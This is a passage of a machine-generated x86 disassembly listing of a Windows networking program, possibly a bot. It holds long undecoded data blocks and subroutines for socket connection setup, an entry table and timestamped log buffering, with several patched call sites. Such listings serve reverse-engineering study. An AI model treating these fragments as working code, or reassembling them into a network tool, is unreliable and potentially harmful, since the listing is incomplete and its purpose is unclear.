		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7AE8FFFFh
		dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 66D0E8F0h, 5959FFFFh, 0AFF2E856h, 5590022Eh,	0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270B0h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0BA5415FFh, 4589004Ch, 50D6FFF8h
		dd 7273E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7CE8h, 50595900h
		dd 50D8458Dh, 6F0FE8h, 0CC48300h, 5A0BEh, 0C6E89000h, 2B0229B6h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CF1801Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 6ED0h, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CB978h, 0FF68h, 0E8016A00h,	3B11h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D90468h
		dd 83E85000h, 83000071h, 13EB18C4h, 0FF34858Dh,	6068FFFFh
		dd 50004CEBh, 7797E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CBA14h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CB9D4h, 0AE458966h, 7199E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 6FE8BC45h,	66000071h
		dd 0E8C04589h, 7166h, 0C2458966h, 715DE8h, 0C4458900h
		dd 7155E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 0C55CE890h, 89667169h, 0FFFF5E85h,	60858DFFh
		dd 6AFFFFFFh, 458D5014h, 1DE850C0h, 8D00007Bh, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7B0Ch, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CBA3815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0BA6C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_41525A	dw 8B55h		; DATA XREF: sub_401ACD+4B97o
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	437C8Ch, 6FB4E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6410E8F0h,	0C483FFFFh
		dd 90006A14h, 2EAD2FE8h, 0EC8B5502h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CBA5415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 437E7Ch, 6F60E850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CB9B4h, 75FFF883h, 6815FF0Eh
		dd 50004CB9h, 437E2C68h, 8D1BEB00h, 0FF500C45h,	4CBA1415h
		dd 0FFF88300h, 15FF2075h, 4CB968h, 7DE86850h, 858D0043h
		dd 0FFFFFDACh, 6F04E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 0D415FF00h, 66004CB9h, 8DDE4589h, 0E8500C45h
		dd 7169BF74h, 0B0358B90h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 7DBC68FFh, 0E8500043h, 6EBEh
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4499h
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6D67E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CF1803Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6B50h, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CB978h, 0E8016A53h, 3795h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D90468ACh
		dd 0E8500042h, 6E0Ah, 0EB18C483h, 0AC458D10h, 4CEB6068h
		dd 21E85000h, 59000074h, 5C65659h, 4CED60h, 0D415FF45h
		dd 66004CB9h, 4CED62A3h, 0AC458D00h, 5C76650h, 4CED64h
		dd 89660001h, 4CED663Dh, 6805C600h, 80004CEDh, 0ED6905C6h
		dd 6611004Ch, 0ED6A3D89h, 15FF004Ch, 4CBA14h, 4CED6CA3h
		dd 0E0458B00h, 4CED70A3h, 8C858D00h, 50000000h,	7A3D8966h
		dd 0E8004CEDh, 6C85h, 7559C085h, 6DE4E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6C64E8h, 0FF505900h
		dd 4CB9D415h, 76A36600h, 0E8004CEDh, 6DBAh, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CED74h, 0B9D415FFh, 68004Ch
		dd 66000004h, 4CED78A3h, 6D90E800h, 0F7990000h,	7C6852FBh
		dd 0E8004CEDh, 6A30h, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CED60h, 0FFF475FFh,	4CBA3815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 0CAE890FCh, 2B0229B1h, 0D233F845h, 3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6BD4E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 6C15FFF4h, 8B004CBAh,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6BADh, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 437D5868h
		dd 0AC858D00h, 50FFFFFDh, 6C91E8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF426CE8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CB96815h, 458D5000h, 0CC68500Ch, 0EB00437Ch
		db 0ACh
byte_41561D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6283o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6B09h, 858D5059h
		dd 0FFFFFE70h, 6AFBE850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CBA1415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 7EA868FFh, 0E8500043h, 6BDEh, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 0BAE8FFFFh, 83FFFF41h, 858D14C4h, 0FFFFFBECh
		dd 67AE850h, 75FF0000h,	6010E8F0h, 5959FFFFh, 31E89056h
		dd 5F022EA9h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_4156FA
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_4157B6
; ---------------------------------------------------------------------------


loc_4156FA:				; CODE XREF: ___:004156E4j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CB97C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CB9BC
		test	eax, eax
		jnz	short loc_41575E
		or	eax, 0FFFFFFFFh
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_41575E:				; CODE XREF: ___:00415757j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_415769


loc_415765:				; CODE XREF: ___:00415789j
					; ___:004157ADj
		mov	eax, edi
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_415769:				; CODE XREF: ___:00415763j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41578B
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_415765


loc_41578B:				; CODE XREF: ___:00415778j
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_415765
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_4157B6:				; CODE XREF: ___:004156F5j
					; ___:0041575Cj ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0E890EC45h, 716A0221h,	6AEC4D8Dh
		dd 26A5104h, 0F0A35053h, 0FF004CF1h, 4CB9B415h,	0B0358B00h
		dd 0FF004270h, 0B5E850D6h, 5900006Ah, 196AC033h, 0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0D415FF50h
		dd 53004CB9h, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CBA5415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0BA6C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0F1F4BF83h, 0C068004Ch, 570042CDh, 68D9E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 0D4685750h, 5700437Eh, 0E8F04589h, 689Ah
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 31F5h, 0FF505959h
		dd 4CB9D415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CF190h, 656BE8h, 0FFFFBE00h
		dd 5C60000h, 4CF190h, 685645h, 0C6000004h, 4CF19905h, 5C60600h
		dd 4CF191h, 31A7E808h, 0C4830000h, 15FF5014h, 4CB9D4h
		dd 0A366286Ah, 4CF194h,	0B9D415FFh, 0D80004Ch, 4CF198h
		dd 801D39FFh, 66004CF1h, 4CF192A3h, 1D896600h, 4CF196h
		dd 0FE681A75h, 6A0000FFh, 3167E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CEB6068h, 1415FF00h,	0A3004CBAh
		dd 4CF19Ch, 6808458Bh, 4000h, 4CF1A0A3h, 0B11D8800h, 0FF004CF1h
		dd 4CB9D415h, 66535600h, 4CF1B2A3h, 3123E800h, 0F88B0000h
		dd 0E7C15356h, 3117E808h, 0C4830000h, 57F80310h, 0B9D015FFh
		dd 0A8A3004Ch, 0A0004CF1h, 4CF1B0h, 24087D8Bh, 6A500C0Fh
		dd 0F1B0A214h, 8B66004Ch, 1D89F045h, 4CF1ACh, 0B61D8966h
		dd 66004CF1h, 4CF1A6A3h, 0CC3D8900h, 88004CF1h,	4CF1D01Dh
		dd 0D105C600h, 6004CF1h, 0B9D415FFh, 0A366004Ch, 4CF1D2h
		dd 0F1A6A166h, 0C766004Ch, 4CF1B805h, 89000200h, 4CF1BC3Dh
		dd 0BAA36600h, 89004CF1h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 308CE8h, 50595900h, 0B9D415FFh, 0A366004Ch
		dd 4CF1A4h, 4CF19CA1h, 0F1C8A300h, 5C6004Ch, 4CF1B1h, 0AC1D8902h
		dd 0EB004CF1h, 0C653561Fh, 4CF1B105h, 56E81000h, 59000030h
		dd 15FF5059h, 4CB9D4h, 0A3C0B70Fh, 4CF1ACh, 9405FF66h
		dd 0FF004CF1h, 4CF1A805h, 0A6A16600h, 6A004CF1h, 0A4BE5905h
		dd 0BF004CF1h, 4CF1D4h,	9A1D8966h, 66004CF1h, 0F1B41D89h
		dd 146A004Ch, 90BEA5F3h, 66004CF1h, 4CF1BAA3h, 90E85600h
		dd 6AFFFF4Eh, 0F1C86820h, 0A366004Ch, 4CF19Ah, 0FF4E7EE8h
		dd 10C483FFh, 0F1B4A366h, 106A004Ch, 4CF1B868h,	286A5300h
		dd 0F035FF56h, 0FF004CF1h, 4CBA3815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 1EE890FFh, 2B0229ABh,	0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 228A3D0h
		dd 0FDC2E990h, 5E5FFFFFh, 4CF1F4B8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C40	proc near		; CODE XREF: sub_401ACD+7111p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43DB90
		mov	edi, 0B8h


loc_415C54:				; CODE XREF: sub_415C40+33j
		cmp	byte ptr [esi],	0
		jz	short loc_415C77
		push	[ebp+arg_0]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415C77
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E710
		jl	short loc_415C54
		jmp	short loc_415CB9
; ---------------------------------------------------------------------------


loc_415C77:				; CODE XREF: sub_415C40+17j
					; sub_415C40+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43DB90[esi]
		push	ebx
		call	sub_41BF70
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BFD0
		push	9Fh
		lea	eax, dword_43DBA8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BFD0
		add	esp, 24h
		inc	dword_4294CC
		pop	ebx


loc_415CB9:				; CODE XREF: sub_415C40+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_415C40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CC0	proc near		; CODE XREF: sub_401ACD+289Ap

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_437EF0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43DB90


loc_415CEA:				; CODE XREF: sub_415CC0+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415D25
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_437EDC
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41C360
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch


loc_415D25:				; CODE XREF: sub_415CC0+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E710
		jl	short loc_415CEA
		pop	edi
		pop	esi
		leave
		retn
sub_415CC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D38	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	near ptr 27C0000h
		nop
		mov	ebx, offset dword_4D35F4
		mov	edi, 80h
		mov	esi, offset dword_4CF5F4


loc_415D5A:				; CODE XREF: sub_415D38+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_415D71
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_415D71:				; CODE XREF: sub_415D38+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_415D5A
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415D38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DAC	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_408967p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41CB70
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_415D38
		add	esp, 14h
		leave
		retn
sub_415DAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DD8	proc near		; CODE XREF: sub_401ACD+278Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF5F4
		xor	ecx, ecx


loc_415DDF:				; CODE XREF: sub_415DD8+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D35F4
		jl	short loc_415DDF
		cmp	[esp+arg_C], ecx
		jnz	short loc_415E0D
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_437F3C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409869
		add	esp, 14h


loc_415E0D:				; CODE XREF: sub_415DD8+19j
		push	offset dword_437F28
		call	sub_415D38
		pop	ecx
		retn
sub_415DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E19	proc near		; CODE XREF: ___:0040E1FFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_4CF5F4


loc_415E1F:				; CODE XREF: sub_415E19+27j
		cmp	byte ptr [esi],	0
		jz	short loc_415E34
		push	[esp+4+arg_0]
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415E46


loc_415E34:				; CODE XREF: sub_415E19+9j
		add	esi, 80h
		cmp	esi, offset dword_4D35F4
		jl	short loc_415E1F
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415E46:				; CODE XREF: sub_415E19+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_415E19	endp

; ---------------------------------------------------------------------------
byte_415E4B	db 55h			; DATA XREF: sub_401ACD+2844o
; ---------------------------------------------------------------------------
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_415E9E
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_437F6C
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415E9E:				; CODE XREF: ___:00415E7Ej
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EBE
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415EBE
		mov	[ebp-8], eax


loc_415EBE:				; CODE XREF: ___:00415EA5j
					; ___:00415EB9j
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CF5F4


loc_415EC7:				; CODE XREF: ___:00415F1Fj
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415F21
		cmp	byte ptr [esi],	0
		jz	short loc_415F10
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EF6
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415EF6
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415F10


loc_415EF6:				; CODE XREF: ___:00415EDBj
					; ___:00415EE1j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415F10:				; CODE XREF: ___:00415ED2j
					; ___:00415EF4j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D35F4
		jl	short loc_415EC7


loc_415F21:				; CODE XREF: ___:00415ECDj
		lea	eax, [ebp-31Ch]
		push	offset dword_437F50
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_415F5B
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415F5B:				; CODE XREF: ___:00415F39j
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		dd 22EA088h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F7A	proc near		; CODE XREF: ___:0041661Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA54
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415FF6
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA14
		cmp	eax, esi
		jnz	short loc_415FDB
		push	[ebp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jz	short loc_415FF6
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415FDB:				; CODE XREF: sub_415F7A+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, esi
		jnz	short loc_415FFA
		push	edi
		call	dword_4CBA6C


loc_415FF6:				; CODE XREF: sub_415F7A+1Bj
					; sub_415F7A+58j
		mov	eax, esi
		jmp	short loc_415FFC
; ---------------------------------------------------------------------------


loc_415FFA:				; CODE XREF: sub_415F7A+73j
		mov	eax, edi


loc_415FFC:				; CODE XREF: sub_415F7A+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415F7A	endp

; ---------------------------------------------------------------------------
dword_416000	dd 0B8EC8B55h, 11B4h, 64F3E8h, 8458B00h, 6A575653h, 59F08B6Dh
					; DATA XREF: sub_401ACD+A02o
		dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h
		dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh
		dd 4C858D52h, 68FFFFEEh, 437FECh, 6214E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 0F6E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch
		dd 0FCB6E850h, 75FFFFFFh, 564CE8F0h, 5959FFFFh,	6DE89056h
		dd 68022E9Fh, 43DB88h, 4113E853h, 83590000h, 7559FFF8h
		dd 4C858D59h, 68FFFFEEh, 437FBCh, 61B0E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 92E85350h, 83FFFF37h, 858D14C4h,	0FFFFEE4Ch
		dd 0FC52E850h, 5359FFFFh, 0BA6C15FFh, 75FF004Ch, 55E0E8F0h
		dd 5659FFFFh, 2E9F03E8h, 646A9002h, 9EFAE890h, 0FF330228h
		dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 55E85057h, 8300005Eh
		dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0B9EC15FFh, 0C085004Ch
		dd 858D387Eh, 0FFFFEE4Ch, 42A08068h, 5DE85000h,	8D000067h
		dd 0FFEE4C85h, 4EE850FFh, 8300003Eh, 0C0850CC4h, 646A1474h
		dd 9EA2E890h, 0A6A0228h, 0FF549DE8h, 59C085FFh,	858DA375h
		dd 0FFFFEE4Ch, 437F8868h, 0EBE85000h, 39000060h, 5959F87Dh
		dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
		dd 36CFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh,	0FFFB8FE8h
		dd 0FF5359FFh, 4CBA6C15h, 0F075FF00h, 0FF551DE8h, 905759FFh
		dd 2E9E3FE8h
		db 2
; ---------------------------------------------------------------------------


loc_4161C1:				; DATA XREF: sub_401ACD+7696o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_41620F
		push	offset unk_4380EC
